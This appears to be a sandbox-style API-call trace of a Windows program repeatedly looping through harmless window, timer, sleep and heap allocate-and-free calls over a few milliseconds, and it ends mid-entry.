0 [0033.340] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.340] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.340] timeGetTime () returned 0x11435b0 [0033.340] Sleep (dwMilliseconds=0x0) [0033.340] GetProcessHeap () returned 0x790000 [0033.340] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.340] GetProcessHeap () returned 0x790000 [0033.340] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.340] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.340] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.340] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.340] timeGetTime () returned 0x11435b0 [0033.340] Sleep (dwMilliseconds=0x0) [0033.341] GetProcessHeap () returned 0x790000 [0033.341] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.341] GetProcessHeap () returned 0x790000 [0033.341] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.341] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.341] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.341] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.341] timeGetTime () returned 0x11435b0 [0033.341] Sleep (dwMilliseconds=0x0) [0033.341] GetProcessHeap () returned 0x790000 [0033.341] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.341] GetProcessHeap () returned 0x790000 [0033.341] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.341] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.341] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.341] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.341] timeGetTime () returned 0x11435b0 [0033.341] Sleep (dwMilliseconds=0x0) [0033.341] GetProcessHeap () returned 0x790000 [0033.341] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.341] GetProcessHeap () returned 0x790000 [0033.341] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.341] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.341] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.341] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.341] timeGetTime () returned 0x11435c0 [0033.342] Sleep (dwMilliseconds=0x0) [0033.342] GetProcessHeap () returned 0x790000 [0033.342] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.342] GetProcessHeap () returned 0x790000 [0033.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.342] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.342] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.342] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.342] timeGetTime () returned 0x11435c0 [0033.342] Sleep (dwMilliseconds=0x0) [0033.342] GetProcessHeap () returned 0x790000 [0033.342] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.342] GetProcessHeap () returned 0x790000 [0033.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.342] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.342] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.342] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.342] timeGetTime () returned 0x11435c0 [0033.342] Sleep (dwMilliseconds=0x0) [0033.342] GetProcessHeap () returned 0x790000 [0033.342] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.342] GetProcessHeap () returned 0x790000 [0033.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.342] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.342] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.342] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.342] timeGetTime () returned 0x11435c0 [0033.342] Sleep (dwMilliseconds=0x0) [0033.342] GetProcessHeap () returned 0x790000 [0033.342] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.342] GetProcessHeap () returned 0x790000 [0033.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.342] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.342] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.342] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.342] timeGetTime () returned 0x11435c0 [0033.342] Sleep (dwMilliseconds=0x0) [0033.342] GetProcessHeap () returned 0x790000 [0033.342] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.343] GetProcessHeap () returned 0x790000 [0033.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.343] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.343] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.343] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.343] timeGetTime () returned 0x11435c0 [0033.343] Sleep (dwMilliseconds=0x0) [0033.343] GetProcessHeap () returned 0x790000 [0033.343] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.343] GetProcessHeap () returned 0x790000 [0033.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.343] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.343] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.343] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.343] timeGetTime () returned 0x11435c0 [0033.343] Sleep (dwMilliseconds=0x0) [0033.343] GetProcessHeap () returned 0x790000 [0033.343] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.343] GetProcessHeap () returned 0x790000 [0033.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.343] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.343] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.343] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.343] timeGetTime () returned 0x11435c0 [0033.343] Sleep (dwMilliseconds=0x0) [0033.343] GetProcessHeap () returned 0x790000 [0033.343] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.343] GetProcessHeap () returned 0x790000 [0033.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.343] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.343] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.343] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.343] timeGetTime () returned 0x11435c0 [0033.343] Sleep (dwMilliseconds=0x0) [0033.343] GetProcessHeap () returned 0x790000 [0033.343] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.343] GetProcessHeap () returned 0x790000 [0033.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.343] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.344] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.344] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.344] timeGetTime () returned 0x11435c0 [0033.344] Sleep (dwMilliseconds=0x0) [0033.344] GetProcessHeap () returned 0x790000 [0033.344] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.344] GetProcessHeap () returned 0x790000 [0033.344] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.344] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.344] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.344] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.344] timeGetTime () returned 0x11435c0 [0033.344] Sleep (dwMilliseconds=0x0) [0033.344] GetProcessHeap () returned 0x790000 [0033.344] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.344] GetProcessHeap () returned 0x790000 [0033.344] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.344] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.344] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.344] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.344] timeGetTime () returned 0x11435c0 [0033.344] Sleep (dwMilliseconds=0x0) [0033.344] GetProcessHeap () returned 0x790000 [0033.344] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.344] GetProcessHeap () returned 0x790000 [0033.344] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.344] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.344] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.344] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.344] timeGetTime () returned 0x11435c0 [0033.344] Sleep (dwMilliseconds=0x0) [0033.344] GetProcessHeap () returned 0x790000 [0033.344] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.344] GetProcessHeap () returned 0x790000 [0033.344] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.344] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.344] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.344] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.344] timeGetTime () returned 0x11435c0 [0033.345] Sleep (dwMilliseconds=0x0) [0033.345] GetProcessHeap () returned 0x790000 [0033.345] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.345] GetProcessHeap () returned 0x790000 [0033.345] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.345] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.345] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.345] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.345] timeGetTime () returned 0x11435c0 [0033.345] Sleep (dwMilliseconds=0x0) [0033.345] GetProcessHeap () returned 0x790000 [0033.345] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.345] GetProcessHeap () returned 0x790000 [0033.345] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.345] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.345] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.345] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.345] timeGetTime () returned 0x11435c0 [0033.345] Sleep (dwMilliseconds=0x0) [0033.345] GetProcessHeap () returned 0x790000 [0033.345] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.345] GetProcessHeap () returned 0x790000 [0033.345] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.345] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.345] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.345] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.345] timeGetTime () returned 0x11435c0 [0033.345] Sleep (dwMilliseconds=0x0) [0033.345] GetProcessHeap () returned 0x790000 [0033.345] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.345] GetProcessHeap () returned 0x790000 [0033.345] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.345] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.345] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.345] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.345] timeGetTime () returned 0x11435c0 [0033.345] Sleep (dwMilliseconds=0x0) [0033.345] GetProcessHeap () returned 0x790000 [0033.345] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.346] GetProcessHeap () returned 0x790000 [0033.346] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.346] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.346] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.346] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.346] timeGetTime () returned 0x11435c0 [0033.346] Sleep (dwMilliseconds=0x0) [0033.346] GetProcessHeap () returned 0x790000 [0033.346] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.346] GetProcessHeap () returned 0x790000 [0033.346] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.346] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.346] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.346] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.346] timeGetTime () returned 0x11435c0 [0033.346] Sleep (dwMilliseconds=0x0) [0033.346] GetProcessHeap () returned 0x790000 [0033.346] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.346] GetProcessHeap () returned 0x790000 [0033.346] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.346] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.346] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.346] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.346] timeGetTime () returned 0x11435c0 [0033.346] Sleep (dwMilliseconds=0x0) [0033.346] GetProcessHeap () returned 0x790000 [0033.346] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.346] GetProcessHeap () returned 0x790000 [0033.346] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.346] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.346] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.346] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.346] timeGetTime () returned 0x11435c0 [0033.346] Sleep (dwMilliseconds=0x0) [0033.346] GetProcessHeap () returned 0x790000 [0033.346] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.346] GetProcessHeap () returned 0x790000 [0033.346] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.346] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.346] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.347] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.347] timeGetTime () returned 0x11435c0 [0033.347] Sleep (dwMilliseconds=0x0) [0033.347] GetProcessHeap () returned 0x790000 [0033.347] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.347] GetProcessHeap () returned 0x790000 [0033.347] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.347] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.347] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.347] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.347] timeGetTime () returned 0x11435c0 [0033.347] Sleep (dwMilliseconds=0x0) [0033.347] GetProcessHeap () returned 0x790000 [0033.347] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.347] GetProcessHeap () returned 0x790000 [0033.347] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.347] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.347] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.347] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.347] timeGetTime () returned 0x11435c0 [0033.347] Sleep (dwMilliseconds=0x0) [0033.347] GetProcessHeap () returned 0x790000 [0033.347] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.347] GetProcessHeap () returned 0x790000 [0033.347] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.347] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.347] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.347] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.347] timeGetTime () returned 0x11435c0 [0033.347] Sleep (dwMilliseconds=0x0) [0033.347] GetProcessHeap () returned 0x790000 [0033.347] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.347] GetProcessHeap () returned 0x790000 [0033.347] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.347] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.347] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.347] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.347] timeGetTime () returned 0x11435c0 [0033.347] Sleep (dwMilliseconds=0x0) [0033.348] GetProcessHeap () returned 0x790000 [0033.348] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.348] GetProcessHeap () returned 0x790000 [0033.348] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.348] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.348] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.348] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.348] timeGetTime () returned 0x11435c0 [0033.348] Sleep (dwMilliseconds=0x0) [0033.348] GetProcessHeap () returned 0x790000 [0033.348] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.348] GetProcessHeap () returned 0x790000 [0033.348] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.348] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.348] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.348] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.348] timeGetTime () returned 0x11435c0 [0033.348] Sleep (dwMilliseconds=0x0) [0033.348] GetProcessHeap () returned 0x790000 [0033.348] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.348] GetProcessHeap () returned 0x790000 [0033.348] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.348] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.348] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.348] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.348] timeGetTime () returned 0x11435c0 [0033.348] Sleep (dwMilliseconds=0x0) [0033.348] GetProcessHeap () returned 0x790000 [0033.348] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.348] GetProcessHeap () returned 0x790000 [0033.348] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.348] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.348] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.348] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.348] timeGetTime () returned 0x11435c0 [0033.348] Sleep (dwMilliseconds=0x0) [0033.348] GetProcessHeap () returned 0x790000 [0033.348] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.348] GetProcessHeap () returned 0x790000 [0033.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.349] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.349] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.349] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.349] timeGetTime () returned 0x11435c0 [0033.349] Sleep (dwMilliseconds=0x0) [0033.349] GetProcessHeap () returned 0x790000 [0033.349] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.349] GetProcessHeap () returned 0x790000 [0033.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.349] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.349] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.349] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.349] timeGetTime () returned 0x11435c0 [0033.349] Sleep (dwMilliseconds=0x0) [0033.349] GetProcessHeap () returned 0x790000 [0033.349] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.349] GetProcessHeap () returned 0x790000 [0033.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.349] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.349] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.349] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.349] timeGetTime () returned 0x11435c0 [0033.349] Sleep (dwMilliseconds=0x0) [0033.349] GetProcessHeap () returned 0x790000 [0033.349] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.349] GetProcessHeap () returned 0x790000 [0033.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.349] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.349] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.349] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.349] timeGetTime () returned 0x11435c0 [0033.349] Sleep (dwMilliseconds=0x0) [0033.349] GetProcessHeap () returned 0x790000 [0033.349] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.349] GetProcessHeap () returned 0x790000 [0033.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.349] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.349] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.350] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.350] timeGetTime () returned 0x11435c0 [0033.350] Sleep (dwMilliseconds=0x0) [0033.350] GetProcessHeap () returned 0x790000 [0033.350] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.350] GetProcessHeap () returned 0x790000 [0033.350] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.350] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.350] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.350] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.350] timeGetTime () returned 0x11435c0 [0033.350] Sleep (dwMilliseconds=0x0) [0033.350] GetProcessHeap () returned 0x790000 [0033.350] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.350] GetProcessHeap () returned 0x790000 [0033.350] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.350] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.350] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.350] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.350] timeGetTime () returned 0x11435c0 [0033.350] Sleep (dwMilliseconds=0x0) [0033.350] GetProcessHeap () returned 0x790000 [0033.350] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.350] GetProcessHeap () returned 0x790000 [0033.350] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.350] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.350] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.350] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.350] timeGetTime () returned 0x11435c0 [0033.350] Sleep (dwMilliseconds=0x0) [0033.350] GetProcessHeap () returned 0x790000 [0033.350] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.350] GetProcessHeap () returned 0x790000 [0033.350] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.350] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.350] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.350] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.350] timeGetTime () returned 0x11435c0 [0033.350] Sleep (dwMilliseconds=0x0) [0033.351] GetProcessHeap () returned 0x790000 [0033.351] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.351] GetProcessHeap () returned 0x790000 [0033.351] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.351] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.351] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.351] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.351] timeGetTime () returned 0x11435c0 [0033.351] Sleep (dwMilliseconds=0x0) [0033.351] GetProcessHeap () returned 0x790000 [0033.351] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.351] GetProcessHeap () returned 0x790000 [0033.351] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.351] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.351] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.351] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.351] timeGetTime () returned 0x11435c0 [0033.351] Sleep (dwMilliseconds=0x0) [0033.351] GetProcessHeap () returned 0x790000 [0033.351] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.351] GetProcessHeap () returned 0x790000 [0033.351] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.351] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.351] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.351] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.351] timeGetTime () returned 0x11435c0 [0033.351] Sleep (dwMilliseconds=0x0) [0033.351] GetProcessHeap () returned 0x790000 [0033.351] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.351] GetProcessHeap () returned 0x790000 [0033.351] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.351] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.351] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.351] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.351] timeGetTime () returned 0x11435c0 [0033.351] Sleep (dwMilliseconds=0x0) [0033.351] GetProcessHeap () returned 0x790000 [0033.351] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.351] GetProcessHeap () returned 0x790000 [0033.351] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.352] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.352] EnableWindow 